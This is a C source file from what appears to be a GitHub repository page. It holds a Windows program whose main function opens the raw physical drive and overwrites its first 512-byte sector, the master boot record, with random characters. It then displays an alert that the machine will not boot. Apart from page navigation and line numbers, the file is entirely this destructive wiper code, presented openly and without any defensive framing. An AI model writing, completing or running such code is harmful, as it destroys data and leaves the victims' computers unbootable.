-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.c
More file actions
62 lines (49 loc) · 1.43 KB
/
Copy pathmain.c
File metadata and controls
62 lines (49 loc) · 1.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <mem.h>
#define ID_MANIFEST 1
#ifndef RT_MANIFEST
#define RT_MANIFEST MAKEINTRESOURCE(24)
#endif
char* rand_string(char* resultString, size_t length)
{
static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
if (length) {
for (int i = 1; i < length; i++)
{
// Pick anyone char in charset by its position using: (rand() % (upper - lower + 1)) + lower
int position = rand() % (int)(sizeof(charset) - 1);
resultString[i] = charset[position];
}
}
return resultString;
}
char* rand_string_alloc(size_t size)
{
char *s = (char*) malloc(size + 1);
if (s) {
rand_string(s, size);
}
return s;
}
int main()
{
HANDLE handleMBR = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, NULL);
LPCVOID lpBuffer = rand_string_alloc(512);
BOOL isSuccess = WriteFile(handleMBR, lpBuffer, 512, NULL, NULL);
CloseHandle(handleMBR);
free((void*) lpBuffer);
if (isSuccess)
{
//printf("Done, your comp is gone!");
int msgboxID = MessageBox(
NULL,
(LPCSTR) "You won't be able to boot after this.",
(LPCSTR) "Alert",
MB_OK | MB_ICONEXCLAMATION
);
}
return 0;
}